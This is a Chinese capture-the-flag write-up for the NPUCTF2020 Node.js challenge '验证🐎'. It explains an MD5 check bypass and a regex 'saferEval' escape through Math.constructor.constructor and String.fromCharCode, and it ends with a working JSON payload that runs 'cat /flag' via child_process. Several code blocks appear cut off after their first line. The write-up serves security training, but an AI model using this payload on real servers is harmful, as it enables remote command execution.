[NPUCTF2020]验证🐎
我们访问/source路由发现源码,为nodejs
1 | const express = require('express'); |
比较重要的就这串if判断代码
1 |
|
首先要进行md5绕过,我们利用数组绕过好了
原理大概是
1 | [1]+'1'//'11' |
但我们要注意的是Content-type是application/json,我们需要使用json格式进行传参
1 | {"e":"2-1","first":"1","second":[1]} |
然后我们可以通过修改e来进行rce
1 | result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!'; |
1 | function saferEval(str) { |
它会把满足正则表达式的部分全部删除后才能执行
我们来看一下这个正则,第一部分类似Math.xxx或者只有Math这样的,第二部分可以包括这些字符
[()+-*/&|^%<>=,?:
第三部分是以一定数字开头,然后跟0或者1个点,然后任意的数字,然后0或者一个类似e1111
这样的。感觉这是整数,浮点数和科学计数法。
正则理清的话就是如何rce了。首先就是拿到Function:
我们利用constructor这个构造函数属性就可以拿到Function,然后拿到了Function,正常可以这样rce
1 | let a=Math.constructor.constructor |
1 | Math.constructor.constructor:这段代码利用 Math 对象的构造函数链来访问全局的 Function 构造器。 |
在这题就是这样
1 | Math=Math.constructor, |
问题就是不允许字符串每一次Function里面很难绕过,所以我们使用String.fromCharCode(...)
String.fromCharCode(...)
是一个 JavaScript 方法,用于根据 Unicode 编码值创建一个字符串。你可以传入一个或多个数字,这些数字代表 Unicode 字符的码点。
我们写个脚本,将字符转为ascii码
1 | def gen(cmd): |
但问题是String怎么获取,在没有单双引号的情况下,这里字符串的拼接
1 | Math+1 //"[object Math]1" |
这里使用箭头函数
1 | (Math=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41,46,116,111,83,116,114,105,110,103,40,41))()))(Math+1) |
缩进一下就长这样
1 | (Math=> |
1 | (Math=> |
最外层是一个箭头函数和自调用函数,因为题目的限制,通过传入Math+1获取到了一个字符串对象,然后访问这个字符串对象的constructor,获取string类的原型,再获取string类原型的原型,得到了function类原型,然后用”return process.mainModule.require(‘child_process’).execSync(‘cat /flag’).toString()”创建出了一个匿名函数,并且也进行了自调用,完成了命令执行
同时也解释了为什么之前可以用Math去调用String的fromCharCode方法,因为原型的获取,我们获得了String和Function两个原型,String将数字转换为字符串,而Function将我们获得的字符串作为函数执行,再通过自调用函数这个语法,将函数创建之后即调用,完成了命令执行
一般的箭头函数都是用{}
,但是因为这题只能用括号,而正好有用括号的语法,所以也可以用括号。
就相当于是:
1 | Function(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111, |
类似Function()()
的格式,里面的函数也同样可以调用,成功执行代码,得到flag。
payload
1 | {"e":"(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114, 101, 116, 117, 114, 110, 32, 103, 108, 111, 98, 97, 108, 46, 112, 114, 111, 99, 101, 115, 115, 46, 109, 97, 105, 110, 77, 111, 100, 117, 108, 101, 46, 99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114, 46, 95, 108, 111, 97, 100, 40, 39, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 39, 41, 46, 101, 120, 101, 99, 83, 121, 110, 99, 40, 39, 99, 97, 116, 32, 47, 102, 108, 97, 103, 39, 41, 46, 116, 111, 83, 116, 114, 105, 110, 103, 40, 41))()))(Math+1)", "first":"1","second":[1]} |
自调用:(()=>())()
可以使用()代替{}
- 这时和{}的写法有所不同
- 不需要return了
- (参数1, 参数2, …, 参数N) => ( 语句1,语句2,语句3…… ) ,执行顺序从左到右,已最右边的语句结果作为返回值